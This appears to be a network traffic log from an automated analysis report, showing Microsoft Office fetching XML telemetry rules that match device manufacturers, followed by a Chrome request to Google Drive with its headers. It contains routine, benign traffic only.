2024-11-26 07:55:17 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:17 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075517Z-174f7845968vqt9xhC1EWRgten0000000v2g00000000avg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:17 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:17 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075517Z-174f7845968glpgnhC1EWR7uec0000000vd000000000056e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:17 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075517Z-174f7845968kvnqxhC1EWRmf3g0000000e2000000000029f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075517Z-174f7845968swgbqhC1EWRmnb40000000vbg0000000029e5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:19 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:19 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075519Z-174f78459685m244hC1EWRgp2c0000000uz0000000005z01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:19 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:19 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075519Z-174f7845968xr5c2hC1EWRd0hn0000000c10000000003va5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:19 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075520Z-174f784596886s2bhC1EWR743w0000000v5g000000005kkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:19 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:20 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075520Z-174f7845968l4kp6hC1EWRe8840000000vd0000000004mpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:20 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:19 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075520Z-174f7845968xr5c2hC1EWRd0hn0000000bzg000000005nnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49819	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:21 UTC	1327	OUT	GET /viewer2/prod-03/meta?ck=drive&ds=APznzabhUCA21QqNWg_vti3mXa0RHKwiqxlOJ-aeL9dvQ66ql45Dfr9b_h9LyRggyfCxDVZWlvHN0LvAdyV870z8z6I5WG46cl-9Phq5i9Qtwd7eTdRRxjjBcHVYQXMLWe622eABf1QTH3-8V3c85OJ6JKcZKl3plhvfJlrgnpGAYMj1m4Ln_9Uz6jWrQTaBnrhPi5-vkx1I-DVJ4a_dCYkj9nc_6ly1bIZ_BFmwyH9AC6ra1p8_Lan_7cZ4nBd4fw0GncIFh45qlEW-UCM2-9CyVxWmw-o76zdcElStxTJeyNZ3hHefOT_eYD6qRTkUtdSfODWyUF3Hr7U11PgdzDqIWFqNCNErd_7MDFkhbQfyzSLNoNz0Yq22Tp0yYiK974t8MbgIPCsRe0Ffyo-xlPjQEg78AsiIAg%3D%3D&authuser=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:22 UTC	2186	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 26 Nov 2024 07:55:22 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-ixAUYXus-HnDpWqgpnnWcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmII1pBicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQtwcr_5O3cUmsGJSh6CSelJ-YXxiQUGxbllmanlqkW5aUX5eSWpeSryRgZGJoaGhiZ6BYXyBAQAuDy9H" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
